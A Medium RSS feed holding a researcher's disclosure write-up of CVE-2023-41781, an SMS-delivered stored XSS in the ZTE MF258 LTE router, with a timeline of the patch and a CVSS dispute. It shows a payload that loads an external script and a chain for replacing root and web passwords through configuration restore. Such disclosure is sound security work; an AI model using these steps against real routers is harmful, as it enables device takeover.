<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mateusz Lach on Medium]]></title>
        <description><![CDATA[Stories by Mateusz Lach on Medium]]></description>
        <link>https://medium.com/@mateusz-msl-lach?source=rss-5ba2aa2b05db------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*tbTO-Nq2AcKjrcM3AbTGeQ.jpeg</url>
            <title>Stories by Mateusz Lach on Medium</title>
            <link>https://medium.com/@mateusz-msl-lach?source=rss-5ba2aa2b05db------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 04:50:51 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mateusz-msl-lach/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How to hack a LTE Router? Just text it!]]></title>
            <link>https://medium.com/@mateusz-msl-lach/how-to-hack-a-lte-router-just-text-it-847f526c0a7f?source=rss-5ba2aa2b05db------2</link>
            <guid isPermaLink="false">https://medium.com/p/847f526c0a7f</guid>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[zte]]></category>
            <dc:creator><![CDATA[Mateusz Lach]]></dc:creator>
            <pubDate>Sat, 02 Mar 2024 20:16:09 GMT</pubDate>
            <atom:updated>2024-10-25T15:42:08.652Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c-m4K08d0Uzq40c17d_1xg.jpeg" /></figure><h3>Vulnerable device</h3><p>The ZTE MF258 router can be taken over by an unauthenticated user through an SMS payload. MF258 is LTE ODU/IDU router. Such devices contains two units (picture 1):</p><ol><li>ODU — outdoor unit (antenna)</li><li>IDU — indoor unit (WiFi router)</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*Oy1jU4djad_R1cAWsMQkCA.png" /><figcaption>1. Typical ODU/IDU LTE Router setup</figcaption></figure><p>LTE routers are equipped with SIM cards and phone numbers, allowing for the sending and receiving of SMS messages. During my testing, I discovered a vulnerability in which unauthenticated Stored XSS could occur by sending certain text messages to the router. I reported this bug to ZTE and it has been registered as CVE-2023–41781.</p><p>The following firmware versions are vulnerable:<br>1) ZTE_STD_V1.0.0B10<br>2) ZTE_STD_V1.0.0B08</p><h3>Exploitation</h3><p>is a straightforward process…</p><h4>Prerequisites</h4><p>This vulnerability can be exploited without authentication.<br>All that is required is:</p><ol><li>a phone (router) number</li><li>open SMS messages view by device owner (as shown in picture 2)</li></ol><h4>Vulnerability</h4><p>The table view displaying received SMS messages (picture 2) is vulnerable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t6SE6NLT3X0JkF8M5PHBLw.png" /><figcaption>2. Vulnerable view</figcaption></figure><h4>Obstacles</h4><p>As no escaping has been added to the SMS content column, exploitation is quite easy. I only had to overcome two obstacles:</p><ol><li>the displayed message’s content is limited to 35 characters (as shown in picture 3),</li><li>newer message is displayed on the top (as shown in picture 4).</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BHH2wvpZrMF9DdRfYcp0kw.png" /><figcaption>3. First obstacle — 35 characters limit per message</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ke2dWLUrzoEpPsreLt0v3w.png" /><figcaption>4. Second obstacle — reversed order of messages</figcaption></figure><p>Due to the aforementioned characteristics, I had to take the following<br>actions:</p><ol><li>split the payload into several messages,</li><li>store it in a variable,</li><li>for long payloads, load an external script,</li><li>execute it with <strong><em>eval</em></strong> function,</li><li>send payload in reversed order.</li></ol><p><strong>Original, full version of payloads:</strong></p><p>Simple alert:</p><blockquote>alert(123445678901234567890123456789012345667890);</blockquote><p>How to load external (longer) script with malware (of course <strong>localhost</strong> can be replaced with a real domain):</p><blockquote>$.getScript(‘http://localhost/hack.js/);</blockquote><h4>Payloads wrapped in a string and eval call:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dI2D3pXe7_VBd1i6WInnaQ.png" /><figcaption>5. On left — prepared “alert” payload in natural order, on right — “alert” payload in reserved order</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/1*2fjfouQqLjL4v5uoUew0KA.png" /><figcaption>6. Payload to load external script in reversed order</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2QpD17uJYJZpO2dm0vCQ6Q.png" /><figcaption>7. Result of an attack with “alert” payload</figcaption></figure><h4>Possible impact</h4><p>By exploiting this vulnerability, I was able to take control of the router. The method used will be explained in the next chapters.</p><h4><strong>Unsecure cookies</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UkHZaXCy4cQ-NGDCgNKtXQ.png" /><figcaption>8. Cookies configuration</figcaption></figure><p>In the picture 8 you can notice how cookies are configured in this device web access panel. What does each flag?</p><ol><li>HttpOnly — Prevents JavaScript from accessing the cookie.</li><li>Secure — Ensures the cookie is only sent over HTTPS.</li><li>SameSite — Controls whether cookies are sent with cross-site requests, helping to mitigate CSRF attacks.</li></ol><p>As you can see developers decided to leave cookies unprotected (default configuration), so exploitation of found XSS vulnerability will be much easier.</p><h3>Backup and restore configuration</h3><p>While it is not possible to change the admin password without knowledge of the current password (as shown in picture 9), it is possible to modify the current device configuration using the ‘download and restore backup configuration’ function (as shown in picture 10).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZHOx5Z51E4waKkw0G3kn8g.png" /><figcaption>9. Change password view</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nx-XRN59kreNuBWnP59l2w.png" /><figcaption>10. Backup and restore configuration view</figcaption></figure><p>Restoring configuration functionality also restores users and passwords, for Web Panel and SSH. It is important to note that this process does not require any additional authentication or knowledge of the current admin credentials.</p><p>The configuration file may appear to be a binary file, but it is actually a simple <strong><em>tar.gz</em></strong> archive. To extract the configuration, follow below steps (shown also in picture 11):</p><ol><li>rename config.cfg file to config.gz,</li></ol><blockquote>mv config.cfg config.gz</blockquote><p>2. extract archive with</p><blockquote>gzip -d config.gz</blockquote><p>3. use the following command to extract the contents of the tar archive:</p><blockquote>tar -xf config</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hZuXkmjmFWdeZ7i3WmxYZA.png" /><figcaption>11. Extracting device configuration</figcaption></figure><h4>/etc — SSH access to router</h4><p>There are two interesting files located in the ‘etc’ folder (see picture 12).</p><ol><li>shadow (contains passwords)</li><li>passwd (contains users definitions)</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8DPaDXgdR5dDrs8ZkZAndg.png" /><figcaption>12. Structure of etc directory and 2 files — passwd and shadow</figcaption></figure><p>The first line of the shadow file contains the root password hash, which consists of two parts:</p><ol><li>N1FL.GjU — salt,</li><li>hidden (red color) — password hashed in MD5.</li></ol><p>The root password can be changed to a password of our choice. An example is presented in picture 13.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_bydt-il0QOJ59lRYaLA-w.png" /><figcaption>13. How to generate new password hash</figcaption></figure><h4>/www — web panel configuration</h4><p>Web configuration is a bit easier and contains only one file auth.txt with few lines (picture 14).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q3PwEX4DDYgAjUXFJ5aLkw.png" /><figcaption>14. Web auth configuration</figcaption></figure><p>Changing passwords over here is similar to the <strong><em>/etc</em></strong> directory.</p><h3>Attack flow</h3><p>Picture 15 demonstrates possible PoC attack flow.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EtiqizDfsj8wZoy1a6aVfw.png" /><figcaption>15. Possible attack flow diagram</figcaption></figure><h3>Full vulnerability timeline:</h3><ol><li>29th May 2023 —I discovered that the SMS tab was vulnerable and successfully executed an attack,</li><li>30th May 2023 — I reported the issue to ZTE Corporation, however, despite my efforts, no action was taken by ZTE and the only response I received was that the product was excluded from the bug bounty program,</li><li>9th September 2023 — I decided to report the issue to CERT Poland,</li><li>10th September 2023 — Fortunately, CERT Polska took immediate action and pushed ZTE Corporation to fix the issue,</li><li>11th September 2023 — ZTE promised to fix the issue as soon as possible,</li><li>January 2024 — a patched firmware release and FOTA update began,</li><li>10th January 2024 — ZTE Corporation conducted a disclosure in security bulletins and CVE database,</li><li>11th February 2024 — full information with PoC became available,</li><li>19th February 2024 — my device was upgraded to the new, patched firmware version ZTE_STD_V1.0.0B11.</li></ol><h3>ZTE Security bulletin &amp; CVE Mitre</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5lI5uKItOgwg8qwtm8AzYA.jpeg" /><figcaption>15. ZTE Security Builetin</figcaption></figure><p>ZTE Security Bulletins: <a href="https://support.zte.com.cn/support/news/LoopholeInfoDetail.aspx?newsId=1034684">https://support.zte.com.cn/support/news/LoopholeInfoDetail.aspx?newsId=1034684</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IRcKB1TW6M9P57pZZ5BPlQ.png" /><figcaption>16. CVE Mitre record</figcaption></figure><p>CVE (CVE-2023–41781) details: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-41781">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-41781</a></p><p><strong>Wrong CVSS scoring</strong></p><p>As you might already noticed, ZTE decided to assign 5.7 Medium CVSS 3.1 scoring to this vulnerability. Due to fact that I was able to take over entire device (including root shell access) while exploiting this vulnerability I decided to contact ZTE to rescore this CVE as below:</p><p>CVSS 3.1: CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H</p><p><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H">Common Vulnerability Scoring System Version 3.1 Calculator</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mFQ9Yt3BWITsZo-3az5n-Q.png" /><figcaption>17. My CVSS 3.1 scoring for CVE-2023–41781</figcaption></figure><p>CVSS 4.0: CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</p><p><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mFQ9Yt3BWITsZo-3az5n-Q.png" /><figcaption>18. My CVSS 4.0 scoring for CVE-2023–41781</figcaption></figure><p>Unfortunately I received following answer:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y3BbI3aPCVIniKb9YPNltQ.png" /><figcaption>19. Rescore request ZTE answer</figcaption></figure><h3>Bounty and reward</h3><p>There was no reward (other than joy and good humor) for the time spent on the study and report.</p><p>#cve #cybersecurity #zte #xss #hack #bugbounty</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=847f526c0a7f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>